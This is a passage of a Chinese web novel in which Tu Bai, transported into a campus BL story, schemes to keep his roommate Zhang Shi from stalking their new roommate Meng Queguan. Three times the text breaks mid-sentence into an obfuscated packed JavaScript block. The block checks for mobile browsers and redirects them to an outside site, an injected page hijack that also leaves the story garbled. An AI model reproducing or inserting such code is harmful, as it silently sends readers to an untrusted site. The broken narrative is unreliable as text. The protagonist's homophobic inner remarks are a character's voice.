“不用客气的,今天刚刚发了奖学金,吃一顿饭肯定够了。”孟阙观一脸让他们放心大胆点的慷慨表情,他的身体往涂白的方向倾了倾,长指点了点菜单第一页的大图:“先来一条清蒸忘不了,怎么样,涂白?” 孟阙观侧头看着涂白,两人距离有些近,男生眼尾的那颗红痣熠熠,生动惑人,涂白屏住呼吸,想起查一步到手的特等奖学金,强笑了下,咽下被气出的内脏血,飞快先后挪了挪凳子。 【张适,要不你还是多偷点这小子的东西,吓死他得了!】 然而,想也只是这么想着,等菜上来了,涂白紧紧盯着坐在对面的张适,唯恐对方干什么没下限的事情,好在还没有,张适只是低头盯着自己盘子面前的一亩三分田。 “张同学,是不合胃口吗?怎么不吃呢?”孟阙观道。 张适身体猛地一颤,他飞快摇摇头:“没、没有.....我现在就吃.....”像是证明似的,张适大口将服务人员分在他餐碟里食物吃完,他意识到孟阙观正在看着自己,但他完全不敢与之对视,视线只能落在对方面前的餐盘上,盯死一点。 不敢对视、手足无措、眼神黏在人家的餐牌上眨都不眨一下.....这厮真给我来这一套,和书里写得一模一样,五分钟都坚持不下来啊!涂白看着对面张适的样子,刚刚还在肚子里的心一下子就提到了嗓子眼。 此时此刻,孟阙观的餐碟上正好有一只他用筷子夹了一半的带子酥,对方似乎并不太钟爱这种酥脆的点心,只吃了一点里面的芋茸,蜂巢状的带子一口没动。 【就是它了吧?】 【如果现在不处理,张适这个没底线的真的会偷吧?就算掉进垃圾桶里估计都得捡出来瞻仰,然后和其他东西一起被孟阙观发现,从此查无此人...啊,张适这是你欠我的!】 涂白悄无声息的抬头,看着张适,一脸我不入地狱谁入地狱的凛然,三秒后,他扬起亮晶晶的眼睛,脸皮羞赧。 然后一脸渴望的指着孟阙观面前吃了一半的点心,道:“孟同学,这块你不吃了吗?如果不吃的话,可....可.....可不可以给我吃呢.....我觉得.....味道很不错。” 【还是一刀杀了他比较痛快,一点都不想吃孟阙观的东西,他可是同性恋,谁知道会不会染上什么病?】 本以为孟阙观会露出惊讶的表情,然后说自己再点一份,涂白正想着如果对方不答应把盘子里的给他,他要怎么搞到手,结果下一秒,就听见旁边男生轻声道:“是这样啊,好啊,我把我这块给你。” 说罢,男生就把自己的盘子往涂白面前推了推,示意他随意。 涂白哽住一样看向孟阙观,孟阙观则挑了挑眉,右手撑着下颌,深蓝近黑的眼波流转,似是兴致盎然。 涂白绝望地夹过对方盘子里的点心,机械张的开嘴巴,生无可恋的塞进去,飞快嚼吧,因为带子肥厚,涂白吃得脸颊鼓起,皮肤被撑出淡淡的毛细血管,灯光一照,甚至可以看见颊边小细绒毛,啃萝卜的兔子一样。 注视着男生,孟阙观嘴角缓缓上扬,饱满的唇绽放出极热烈的色彩,和眼尾的红痣莫名辉映。 张适在一旁看着,猛地一个激灵,然后逃似的匆匆埋下脸。 吃完了孟阙观盘子里的点心,最大的危机算是解决了,涂白松了一口气。 不过这一趴的剧情还没有结束,小说里很快发现孟阙观在外面和其他人一起吃饭的谢逸,会醋劲上头,和孟阙观在餐厅的卫生间发生争吵,谢逸也会向孟阙观大胆表明心意,说自己喜欢他很久了,当然了,孟阙观这种端水大师肯定是不会回应了,他有无数把鱼竿,掉着所有的人。 果真,不出涂白所料,几分钟后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396554|184300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,孟阙观看了一眼手机,然后借口有事,出去了。 对方刚走,涂白就悄悄推开门,探头出去看,就看见走廊上有两人一前一后往天台方向走去,正是孟阙观和谢逸。 看来,现实展开真的和小说里写的一模一样,这两人确实有一腿。 没兴趣看两个同性恋恶心巴拉的感情纠葛,涂白坐了回去,安心吃饭。 * 孟阙观和谢逸没有去天台,而是去了餐厅顶楼的某个专供谈话的私密包间,时间刚过七点,夏季的天色还亮着,露台上,孟阙观坐在竹质摇椅上,长腿撑着地面,屈膝晃着,摇椅也跟着一晃一晃,眼睛则望着天际线上的晚霞。 谢逸没什么表情,他坐在另一头的沙发上,公事公办道:“教授他们一直在等你,说一定要当面表示感谢。” STS夺得首奖后,一时间,大众的目光全部涌了上来,企业、高校、媒体都通过各种渠道想要获得项目的一手信息,孟阙观烦不胜烦,索性将所有杂事交给谢逸应付,自己则听从心理医生的建议,开始进一步接触人群。 而作为孟阙观的代行人,或者说....辅助者,谢逸不得不出现在这里,应酬包厢里的参与项目庆功的教授和学生,即使比赛的成果和这些人没多大关系,他们所付出的,不过一张轻飘飘一张报名表,而大部分的实验数据与成果几乎来自于孟阙观一人身上——这是他休学两年将自己关在密不透风实验室里换来的。 谢逸一开始不明白,明明是一个人的成果,孟阙观为什么偏偏要组一个可有可无的团队来参加,结果转头就看见男生把和奖杯的合影放在外网的社交媒体上,庆祝挑战成功后,这才知道,对方仅仅是因为一时兴起参加了一个谁的国际奖杯数最多的挑战赛而已,他就差团体奖一个了。 因此对于对方现在突然要住进宿舍的决定,谢逸也不觉得讶异了,毕竟孟阙观心里想什么,下一秒会做出让人惊讶的决定,没有人知道。 “替我说声抱歉吧,我今天还有别的应酬。”话这么说着,孟阙观脸上却丝毫看不出歉意。 谢逸可有可无的点了点头,片刻,想了想,还是多嘴问了一句:“新宿舍怎么样?” 相比于与刚刚的那个话题,这个话题对方似乎更感兴趣一些,收回看向窗外的目光,孟阙观笑了一下,不是应对陌生人的那种社交友好,唇只勾一点点,就完全变了味道。 “帮我查个人。” “谁?” 唇勾得更深,眼波流转,犹如深渊:“我的新室友——涂白。” 谢逸疑惑:“不是住进去前就已经查过了吗?没什么异常,学习上进,家庭简单,就是为人处事有点拿不出手,不过....”谢逸话锋一转:“倒是那个叫张适,以前对你....” 后半段话他没说下去,不仅仅是孟阙观最厌恶这方面的事情,更重要的是这些资料早在他搬进宿舍前就已经交给他了,他已经看过了,但还是搬进去了,看来是不把对方手段心思放眼里,只等腾出手来叫人处理。 “再查一遍。”孟阙观起身,极具垂坠感的衬衫衣料勾勒出隐约肌肉线条,如同匍匐在野草后的豹类,暗含压抑力量:“只查涂白,查得清清楚楚。” 谢逸默然,对方所说的清楚,是要连涂白浑身上下,哪里长了痣都要知道。 几乎是和孟阙观一起长大的谢逸,也算是半知对方本性,或许孟阙观的长相足够吸引人,如罂粟一样,可只要缓慢掰开花蕊往里看,就要小心,里面满是腐烂猩红的毒液,稍有不慎,腐蚀心魂。 谢逸回想起刚刚走廊里的画面,对方的脸很小很白,转头时的眼神很不驯,是那个叫涂白的男生。 对方是怎么引起孟阙观注意的,他有些好奇,同时也确定,涂白要倒霉了。 5. 报答 涂白最近精神高度紧张,在孟阙观搬进来后,只要三人都在宿舍,涂白就会死死盯着张适,唯恐对方干一些没下限的事情,要知道在原文里,他可是连孟阙观用过的手纸都要珍藏的痴汉。 一想到这里,涂白浑身都起鸡皮疙瘩,不行,他不能让张适干这种蠢事,于是趁着孟阙观在宿舍,他将早早准备好的东西递了过去。 “喏,这给你。” 孟阙观正坐在自己专属的那张沙发上摆弄刚买的耳机,他住进宿舍里带的东西不少,其中最多不是衣服,而是就是各种各样的耳机,头戴式的、入耳式的,有一半的衣柜都是用来收纳它们的。 听见涂白说话,孟阙观停下手里动作,抬头,男生白皙的手掌上躺着两个大锁,一看就是楼下小超市买的,发着油腻腻亮闪闪的黄光,锁孔还插两把一折就能断的钥匙。 “这是.......” 迎着对面疑惑的的视线,涂白催促:“拿着啊,专门给你买的,我看你贵重东西太多了,还是锁起来比较安全.....还有,咱们宿舍连续三个月都拿了卫生标兵的流动红旗,所以你也要注意卫生,桌子上不要乱放什么东西,不用的就收到柜子里。” 【天知道,自己想了这么一套说辞花来了多长时间,就为了保护这厮的贞操,不是,这货对自己吸引变态的体质没有一点自觉吗,就不能长点心吗?】 涂白心里碎碎念着,面上一副好好舍友的样子:“还有,你要扔垃圾的话,给我说,我替......你扔......呃....就当是你帮我们改善宿舍条件的报答...哈哈....” 【啊,好想死,能说出这种话,涂白你自己才是变态吧!】 涂白仔细观察男生表情,唯恐对方对自己有什么误解,好在男生没有,工笔画似的眼睛缓缓眨了眨,很快就消化完他说的话,不仅如此,像是受了很大感动,神情惊讶:“真的吗?涂白,你人真好啊,真幸运能和你做舍友。” 涂白皮笑肉不笑:“你太客气了。” 【小子,这次为了张适,所以才阴差阳错让保护了你,你给我等着,后面我再好好“报答”你。】 看着对方接过锁,涂白一秒都不想再停留,转身就要走,结果却被对方叫住。 “既然是这样的话,那这些垃圾可不可以拜托涂白你帮我丢掉呢?”男生笑眯眯指着自己刚刚拆下来的耳机盒,歪着头拜托。 接触了几天,涂白发现了,或许是因为姣好的容貌,又或者是因为优越的家室,男生得以被很好的养护,所以在某些时刻,他的言行,带着一种单纯无害的感觉,涂白猜测原文中他正是凭借此,才拿捏一众男的为他要生要死。 【哼,我告诉你,这一套在我这里不好使!】 “不可以吗?不是刚刚才说要报答的吗......那算了。”孟阙观一眨不眨的盯着涂白的神情,片刻,抿了抿唇,细密眼帘落下,收敛起失落:“这周应该是张同学打扫卫生吧,到时候就拜托他.......” “我来!”涂白飞快打断孟阙观的话,强笑道:“我来就可以了,说好报答的,不用...麻烦别人了。” 话落,他两三下整理完包装盒,然后打包,拎着垃圾袋,头也不回的出了宿舍。 涂白离开后,宿舍里只剩下孟阙观一个人了。 午后安逸,虫鸣清脆,时间缓之又缓,和煦的阳光穿透孟阙观身后的窗户,轻飘飘落在他的头发、肩膀、后背上,却唯独落不到他脸上,五官藏在阴影中,混沌一片。 很久之后,只看见一双骨节分明的手缓缓将耳机戴在头上,接着后仰着靠在沙发上,一种匿在骨子里的暗色物质,顺着沙发底的阴影缝隙,慵懒的散发出来。 耳机里传来尖锐轰炸的重金属声音,放在膝盖上的指尖开始有节奏的律动,低声跟着轻哼,时断时续的声音在空间回荡,带着一种说不清道不明的吊诡感,在耳机里的金属声达到高潮时,男生缓缓睁开眼,对上头顶的天花板。 五官终于暴露在阳光之下,刚刚面对涂白时的单纯无害如一滴水早就蒸发的无影无踪,一种本属于艳色五官的冷锐显露,眼中泛起沉浓,那是刚刚有猎物不慎掉入,被瞬间吞没后,只剩下挣扎无力后的波澜。 同样,也是猎手嗅到血腥气,兴致盎然的起伏。 呵,叽叽喳喳,还挺热闹。 * 涂白完全没想到自己所说的一句话,能给自己带来这么多麻烦,自从自己上次说要报答孟阙观之后,这厮倒是毫不客气,真的使唤自己来了,偏偏自己还不能说些什么,毕竟张适就在一边站着,他真怕自己一个不留神,张适就把人家不要的东西偷走。 而张适最近的表现,也确实让涂白胆战心惊。 周天的晚上,三个人一起在宿舍写作业,经过孟阙观的宿舍改造,三个人的桌子都比原来大的一圈,并排放在一起,涂白坐在中间,一左一右则是张适和孟阙观。 原本三人各忙各的,直到涂白敲完小论文的最后一段,抬头就看见一旁的张适不知道什么时候走神,眼神隔空落在不远处孟阙观的身上,不是.....手上,或者说是手里笔上,金属银的凝胶水笔,是孟阙观最常用的那支,和小说里在张适枕头底下发现的笔一模一样 涂白呼吸一窒。 张适回神,注意到涂白震惊的眼神,又仓皇低头,手忙脚乱的继续看手里书。 涂白想死的心都有了,恨不得揪着张适的耳朵,给他两巴掌让他清醒一点。 【大哥,你不会真要偷人家孟阙观的笔吧?你要点脸行不行,给咱们男人长点志气好不好?你不是喜欢樱花酱吗?真的求你了,别弯了,我害怕....】 涂白内心无助的呐喊,张适当然不知道,涂白长长叹了一口气,生无可恋的给自己做着思想工作,片刻,深吸一口气,挂起完美无缺的笑脸,他侧头看向右手边的孟阙观。 对方正在写高数,做题速度很快,几乎是看一遍题干,略作思考,就写下简略几笔的步骤,得出答案,察觉到涂白的视线,男生停下了笔。 “怎么了?涂白?”孟阙观道。 涂白注意力全在他手里那根笔上,喉咙咽了再咽,硬生生挤出更深的笑意:“感觉孟同学的笔很好用,可以不可以把你的笔借给我试一下,我也想买你这一种。” 听到涂白这么说,孟阙观还没有什么反应,倒是身后的张适轻轻扯了扯涂白的衣服,颤抖着低声道:“阿白,我....我笔流畅也不错,你、你还是先用我的吧。” 涂白装作没听见,他挣开张适的手,心里已经快要把张适喷死了,这货心眼还挺多,还怕自己坏了他的事,但是休想,不管怎么样,今天这笔,必须是他的! “没关系的,你拿去用吧。”孟阙观很好说话,不过接着,他微微蹙眉,为难道:“但我来的着急,只带了这么一根...但是我还有一个实验报告还没有..” “我帮你写,好不好?!我最喜欢写实验报告了!”涂白唯恐对方不答应,连忙道。 孟阙观点点头,笑道:“好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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涂白完全不知道发生了什么,只知道在锲而不舍的努力之下,自己终于如愿拿到了那支本来会被张适偷走的笔,涂白小心谨慎,把笔随身携带着,防止张适失心疯。 而之后的一段时间,一切都朝着他计划的那样发展,张适对于孟阙观不再有任何奇怪的举动,也正因为如此,他和张适的课题也无比顺利的进行着,就差最后的答辩了。 心情美丽的涂白默默盘算着下一个剧情点的到来,他看了眼天气,应该是一周后的暴雨天,于是,放松了警惕的涂白,后面一连去了好几天的图书馆自习。 直到周五的晚上,美美学习完的涂白从图书馆出来,掏出兜里静音的手机准备刷刷短视频的时候,看见了一条信息。 ——涂白,我好像发烧了,好难受,你如果回来的话,可不可以给我带点药? 信息是来自孟阙观的,发送时间是一个小时前。 涂白身体一晃,一字一句读完。 糟了,剧情怎么提前了? 意识到不妙的涂白抡起书包,就以百米冲刺的速度往宿舍方向奔,涂大脑里飞速掠过原文剧情。 小说里的涂白和自己一样一开始就不爽孟阙观,平时在宿舍里相处,也都是面上过得去而已,于是在看见孟阙观因为淋雨生病的求助短信后,没有立刻回去。 然而就是这样,才给了张适可乘之机,提早回来的张适,看见了身体不舒服的孟阙观后,不轨的想法暴露出来,然后还没等他采取什么措施,就被恰好赶来准备给孟阙观认错求和的攻一谢逸抓住,打得全身骨折,爸妈都不认识,真心活该! 涂白一路狂奔,往常体育废这次跑得比炮弹还快,剧烈运动让他呼吸不畅,烈日下,原本白皙的脸上布满了佗红和汗珠,薄薄的胸膛不断起伏。 拜托了拜托了,涂白作揖祈祷,孟阙观可千万千万不能有事啊! 6. 受伤 一把推开宿舍门,涂白冲进房间,气喘吁吁在幽暗空间寻觅。 遮光的窗帘细密拉着,冷气从出风口徐徐吹出,静谧地只能听见书页被吹起的声音,孟阙观床上的被子被随意摊开,一旁的桌子上放着半杯水和一副耳机,耳机线连着手机,屏幕上闪过正在播放的幽蓝歌词。 所以,人呢? 来不及换气的肺骤热紧缩,涂白冲进阳台,没有人,他着急大喊:“孟阙观!孟阙观!” 突然,身后传来一阵声响,涂白猛然转头,就看见卫生间的门被打开,一个高挑的人擦着湿漉漉的头发,走了出来。 瞳孔一震,涂白直直扑了过去:“孟阙观!” 两人差点撞在一起,不过孟阙观反应很快,连来人都没看,几乎是瞬间,长臂一伸,就牢牢钳住涂白的胳膊,接着一把将其按在了墙壁上,男生力气大得惊人,涂白感觉自己几乎是摔在墙上,半边身子震得痛麻,眼前直冒金星,一点反抗的力气都没有。 “要....死啊你.....”牙缝里挤出虚弱的声音,涂白感受自己肩上压了一块巨石,骨骼都在吱吱叫:“我是涂白,你...你松手啊!” 一道阴冷自身后落下,目光在涂白变形的脸上分辨,片刻,终于认出了自己无辜的室友。 “哎呀,抱歉抱歉,我不知道是你。”身后的阴影语气真挚的说着,眼中刚刚喷涌的杀戾阴鸷还留有余韵,他不动声色巡视着涂白的脸,如毒蛇探信,看猎物的死活。 “松手啊!”涂白疼得眼睛都红了。 “好的,好的。” 压制着涂白的手收走,阴影向后撤了一步,留出喘息的空余,等涂白怒气冲冲的转过身时,对方已经挂上了完美的道歉神情。 “对不起啊,痛不痛啊。”孟阙观一脸懊悔,小心翼翼地看着低他一头,眼睛红彤彤瞪着自己的涂白。 “你说呢?!你是犁地的牛吗?力气怎么这么大!”涂白气道,身体刚刚的麻劲儿已经过去,手腕肩膀以及身体各处的酸痛传来,痛得他想哭。 “真的对不起,我不知道是你,你突然冲过来......”男生盯着涂白的手腕,莹白削瘦的手腕已经烙下了两个红肿的圈印,如同囚禁的手铐,不用想都知道,明天一定会变成更惨烈骇人的青紫。 涂白嘴唇都发抖了:“我是为了谁啊?还不是为了你,还不是怕....怕你发烧严重了,才急急忙忙回来!” 【啊,要不是为了我的课题论文,我用的找狗拿耗子,多管闲事?痛死了,艹,涂白你给我忍住眼泪,千万不能在这货面前哭!】 涂白吸了吸鼻子,他泪失禁体质,一痛就很容易掉眼泪,为了不丢份儿,他佯装低头看自己的痛处,真惨,这货力气怎么这么大?估计张适要是来,就不是肋骨骨折了,应该是全身粉碎性骨折。 “你哭了?” “没有!”拼命转移注意力的涂白被打断,他猛地抬头,扬起一张晒得粉红的脸,一簇簇眼睫毛湿的很可疑:“你胡说什么呢....算了,你不是说你发烧吗?你干嘛呢?” 涂白这才注意到,面前的男生还半裸着,上身什么都没穿,下身则套着一条黑色丝绸睡裤,颗颗透明水珠正从他漆黑的发丝滚下,顺着凸起的喉结、颀长的脖颈、一路轮到块垒分明的腹部,然后在汇流向下..... 【我去,我为啥没有这么好的身材,不对啊,他这不都是硬邦邦的肌肉吗?那那些基佬喜欢他啥啊?这不纯纯有病吗?理解不了。】 涂白回神抬头,看着面前男生,眉头忽的一皱:“你这什么眼神?” 对方的视线涂白不是很喜欢,虽然脸上看着挺抱歉的,但眼里似笑非笑的,让人不舒服。 “没什么。”对方飞快调整,“我是很高兴,高兴你这么关心我。” 涂白一脸狐疑,总觉得对方好像不是笑这个,不过他现在没空管这个,转身从抽屉里找到测温计,对着男生的额头扫了一下。 想着应该不是很高,毕竟还有力气把自己一个大男人按在墙上,结果女声很清脆的报出温度:“39.3度。” 涂白以为自己听错了,再扫了几遍,数字依旧保持不变。 涂白震惊道“你现在三十九度,你知道吗?” 男生点了点头:“所以帮我带药了吗?” “所以你洗什么冷水澡啊?还嫌烧得不够高?赶紧把你身上擦干,躺着去”说完,涂白就去按饮水机的按键,开始在药箱里找退烧药。 “喏,吃药。” 把热水和药递过去,男生坐在床上盯着涂白,然后接过,仰头吃了。 “行了,你睡吧。”涂白坐在自己床边,把电脑打开,准备写作业:“有需要也别叫我,我要忙了。” “那能再帮我倒杯水吗?我好渴” “不行。” “不是说好要做好朋友吗?” “......” 片刻,饮水机的声音响起,一杯热水举到孟阙观面前,男生皮笑肉不笑,显然已经忍到极限:“好了,喝吧,喝了就立刻睡,好吗?” 短短半天,涂白已经心力交瘁,好在喝完水后,男生就躺回床上,虽然视线还落在涂白身上,不过没有再提什么要求了,涂白不管他,很快就投入作业中。 不知道过了多久,等涂白再抬头,看向对面,男生依旧是面朝着他,已经睡着了。 房间幽暗,只有涂白面前的学习灯亮着,余光一路延伸,爬上孟阙观的床,落在他脸上,氤氲的暖黄覆在他紧闭的眼皮上,浓密的眼睫如蝶翅收敛,光影勾勒出他五官轮廓,和醒来时一样,依旧利落深邃。 涂白收回视线,非常不理解,为什么这货睡着的时候,没有双下巴。 捏了捏自己下巴,是软软的脂肪,其实涂白并不喜欢自己的长相,小时候村里扮观音娘娘,每次都让他扮观音娘娘的坐下童子,原因是因为他看起来很乖像年画娃娃,总是一副长不开的样子,直到上了高中,还是有班里的女生说他很cute。 要可爱干什么,他要变成威武雄壮的男人,才能保护涂纸和父亲,所以最好能拥有孟阙观那样的身体以及发高烧还能清醒的身体素质,再配上一张胡子茂密的脸,这样就完美了。 思绪回笼,涂白起身,拿着测温枪,对着孟阙观的额头测了测,38.7,温度下来一些了,孟阙观额头上出了细细密密的汗珠,看来发汗了。 涂白没有好心到给孟阙观擦汗,最多就是把空调关了,让他发汗再快一些,空调的遥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396556|184300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 控器在孟阙观身后,涂白一只手撑在孟阙观的枕头边,一只膝盖顶在床边,皮肉发力,牵拉痛处,涂白没忍住嘶了一声。 然而在涂白看不见的地方,床上男生刚刚闭合的眼睛缓缓张开,幽色的瞳孔注视着面前因为受力发颤的手腕和那圈手铐一样的红肿印记,皮肉紧紧包着骨头,自小臂一直往下收紧,最紧处窄得似乎两指就可以圈住。 折断他,不会比折断一只玫瑰费力,孟阙观想。 涂白的身体下压再下压,在快要挨到孟阙观的时候,终于够到了空调遥控器,半舒一口气,正准备关掉空调,忽然听见身后宿舍门电子锁的滴答声。 不好!神经一震,涂白起身就要从孟阙观床上下来,哪知道慌乱中,床沿刚刚好就压在自己膝盖的伤口上,麻筋带着蹭伤让膝盖以下的腿猛地一软,不等他反应,整个人就结结实实的倒在了孟阙观的身上。 【我去,硬的要死!】 “唉,阿白,你们.....这是.....?”身后传来张适的声音。 涂白来不及想,他疼的龇牙咧嘴,奈何半边身子还麻着,他一边吸气一边疯狂解释:“不是这样的,你听我说....” 挣扎着扭过头,涂白狰狞的面容一滞,剩下的后半段话自动卡在了喉咙里。 看着面前一个舍友姿态暧昧的压在另一个舍友的身上,张适笑得有些僵硬尴尬,不过反应过来后,他还是先向涂白介绍跟在他身后的人。 “阿白,这是谢逸,是孟阙观的....朋友,我刚刚在楼下遇见他,他说找孟阙观有事,我就把他....带上来了.....” 后面张适说了什么,涂白完全没有听进去,他的身体已经完全僵死了,放大皲裂的瞳孔死不瞑目的盯着站在张适旁边的男生。 和之前在五星餐厅走廊里见到的那张脸一样,冷面剑眉,气质英挺,正是谢逸。 刹那,心脏里无数颗原子弹升空,爆炸出毁天灭地的蘑菇云,此时此景,怎么看都非常的引人误会,受害者发着高烧,人事不省地倒在床上,而自己则趴在人家腰上,表情还一脸猥琐。 所以剧情是应验在他头上了? 涂白企图扬起一抹真挚的微笑,咽了口唾沫,张了张已经全白的唇,干涩道:“你们听我说,他发烧了,我只是想帮帮他.....” 说完涂白警觉不对,这话太有歧义了,果然,就见谢逸脸一沉,快步走上来,一把扯住了他的手腕。 嘶,本就带伤的手腕被紧紧攥住,大力往下拽,此时此刻更是痛上加痛,涂白几乎要飙泪了。 就在他要被狼狈扯下来的时候,忽然,从身后贴上一片温热,带着一股劲,擦过他的脸颊直直伸向谢逸。 那只骨节分明的手张开两指,不知道按在了谢逸小臂的哪个地方,瞬间,涂白手腕上的束缚感少了一大半。 “松手。”一道沉郁声音在身后贴近响起,裹挟着温热好闻的气息,喷洒在涂白的耳廓,烫得他的侧颈不自觉泛红。 涂白大脑宕机,完全不知道发生了什么,只看见对面的谢逸瞳孔骤然一缩,一抹震惊从脸上飞速划过。 接着,他神情复杂地看了自己一眼,然后竟然真的听了孟阙观的话,缓缓放开了自己被攥着的手腕。 7. 玩弄 涂白没有想到修罗场竟然应验在了自己头上,花费了一番功夫才向面前两人解释清楚。 “所以,真的是这样的,我是在帮他。”涂白切切看着谢逸,然而谢逸却望着他身后孟阙观的方向,面色沉沉,神情晦暗不明。 “好了,好了。”孟阙观从床上下来,转了转脖子,伸了个懒腰:“这次真的得多谢涂白,要不是他照顾我,我也不可能恢复得这么快.....谢谢你啊,涂白。” 对着男生感激的脸,涂白一点都笑不出来,只要遇上孟阙观,他就事事不顺,做好事还要冤枉,奈何这衰神不仅会一直住在这里,原文里,张适被赶走,他和谢逸和好后,谢逸也会跟他一起住进宿舍,然后两个死gay开始辣眼睛的腻腻歪歪。 啊,想想都绝望,之前他还能安慰自己离孟阙观越近,自己的报复计划越有利,现在他不这么觉得了,谁跟这妖人住谁倒霉,他希望孟阙观能赶紧搬出宿舍,至于报复计划,他从长计议都行。 “要不,我还是搬进来吧。”果真,谢逸像原文发展那样建议道。 涂白面无表情,实际心里疯狂磕头。 【千万别啊,你俩不是在外面有大豪斯吗,继续一起住着不香吗?别祸害直男啊!】 “不了...”片刻孟阙观道,视线落在一旁涂白的脸上,果真,听见他这么说,涂白原本紧抿的唇,顿时一松,表情也缓和了不少,孟阙观心里发笑。 “那......你还要住在这里吗?”谢逸道。 【赶紧走,赶紧都给我走,还我们直男一片晴朗天空!】 “啊.......”拉长声音,孟阙观正在思索,接着,他突然转头,涂白猝不及防和他对视,来不及躲,对方的脸就无限逼近。 “涂白”五官放大,孟阙观嘴角挂笑,眉眼弯弯,红痣灼人,涂白猛地屏息,身体僵直。 “你想让我留下吗?”红唇张合道。 像是被什么刺了一下,怔愣三秒的涂白很艰难移开眼睛,疯狂整理措辞,心里想是一回事,但面上还是要装一装的,他滚了滚发涩的喉咙,道:“当然是希望还能住在一起了,但是.....” “你看”孟阙观惊喜:“涂白也舍不得我呢,我还是继续住在这里吧,毕竟.好不容易交到一个新朋友,感情淡了可不好。” 涂白下半句就这么断在嗓子眼里,他僵硬转头,和孟阙观相视一笑,笑容很假,孟阙观笑得挺真,总之一副哥俩好的模样。 涂白寄希望于谢逸,然而谢逸听孟阙观这么说竟然没有再反对,不仅如此,他甚至还问孟阙观住在宿舍还需不需要添什么物品家具。 所以这么爱的吗?涂白震惊,原文不是这么写的啊,不是应该强制带走吗?然后回去就做恨,让对方在他怀里嘤嘤喘息吗?合着攻一这么纯爱啊? “不用什么,对了,你一会儿去楼下药店买点活血化瘀的药。”孟阙观很自然地吩咐谢逸:“涂白的手受伤了,得涂药。” 谢逸顿了顿,看了眼萎靡的涂白,应了声好。 事情发展如同一匹发疯的马,朝着涂白没有预料的方向疾驰而过,涂白站在原地,被土扬了一脸,原文中本来应该住进来的谢逸没有住进宿舍,而张适也保下来了,涂白没有想到会这么顺利,一时间有些反应不过来。 但不管怎么样,这至少说明,剧情确实是可以改变的,只不过能变到什么程度还不清楚,还需要他再试试,想到这里,涂白眼中精光闪现,刚刚的绝望也消除了一大半。 【不行,孟阙观还是得留下来,他得再好好试试。】 于是立马转头和和气气对孟阙观道:“那就这么说定了,以后可不能说搬走就搬走了啊。” 【等着,我让你有来无回!】 心口是两个极端的涂白面对孟阙观一脸善良,和他略显削瘦的身体不一样,涂白的脸白白小小的一张,脸颊却意外的饱满,肤色莹润,尤其是笑起来的时候,一左一右一对梨涡,对称得不得了,惹人心疼。 因此当他用这样一副表情表示欢迎的时候,大家都想和他做好朋友。 孟阙观的心思则有点跑偏。 他看了看那对梨涡梨涡,又盯着对方张合的嘴巴,很红,也是小小两瓣,说话时两瓣唇只分开短短的距离,一点舌尖一闪而过,但就是这两瓣唇,一会抿一抿,一会儿扬一扬的,十分忙碌。 像兔子,孟阙观当下觉得,长了个兔子样,德行也是,面上乖,心里横。 兔子耳朵可以拎吧,孟阙观歪头思索,想起之前看过的视频,小兔子被提溜着耳朵拎起来的时候,白球的身体瑟瑟发抖,眼睛红得滴血,只剩下小短腿一蹬一蹬的。 不横了,乖得不得了。 谢逸买完药回到宿舍时,涂白正在和孟阙观有来有回地聊天,张适默不作声地看书,宿舍氛围十分和谐。 “对了,最近的学院的工程创新比赛你报名了吗?”孟阙观道:“我和谢逸一组,可惜了,如果早早住进来,咱们就能一组参赛了。” 涂白道:“我报了,我和大适一组,最近忙完课题答辩,就开始比赛准备了。” 当然报名了,怎么可能不报,学校里但凡有奖金的比赛涂白大大小小都报了,不过,想到原文里的这次比赛的结局,涂白心中滋味复杂,如同吃屎。 不是不好,相反,原文里,他赢了! 但并不是和张适一起,因为原文里张适已经下线了,于是自己随便拉了两三个人,时间紧张,团队又需要磨合,“自己”也无心比赛,所以拿出的成果并不咋样,然而,事实竟然是他们非常利落地打败了背靠优秀指导老师的孟阙观和和谢逸,一路冲进决赛,获得了第一名。 只是获奖的过程,让涂白甚至不想再看一遍原文,只觉得三观尽碎。 原因是小说里有关自己的描写,前面还看着挺正常的,结果当谢逸住进宿舍的时候,“自己”就变了,“自己”看着两个富家子弟一掷千金、奢侈无度的谈恋爱日常,竟然....嫉!妒!了!这也是原文里“他”无心比赛的根源。 涂白气得吐血,两个恶心变态的基佬谈恋爱有什么好嫉妒的,他小脑是被僵尸吃了吗? 当然更没下限的不仅如此,为了挑拨两人,“自己”也开始了第一次作妖——在孟阙观的生日会上故意醉酒勾搭谢逸,企图让两人不合,果真,如“自己所愿”,孟阙观看着“搂搂抱抱”的两人,吃醋生气了,尽管谢逸解释自己只是被碰瓷,但孟阙观完全不理会,以至于影响到了两人比赛,止步于比赛第二名。 勾引谢逸?他可做不了这么大的牺牲,不过让两人不合,不失为一条好思路,涂白琢磨琢磨,准备好好想个挑拨两人的方法出来。 “药来了,涂药吧?”孟阙观晃了晃手里的塑料袋,打断了涂白的思绪。 “哦,好。”涂白伸手去接,孟阙观手一扬,躲过了。 “你一只手不方便,我来涂吧,本来就是我的错。”孟阙观道。 “不用了,还是我自己来吧?”涂白婉言拒绝。 【笑死,我一个清清白白的直男,要不是为了装朋友,我有多远躲多远,完全不想和你们这些违背公序良俗的gay接 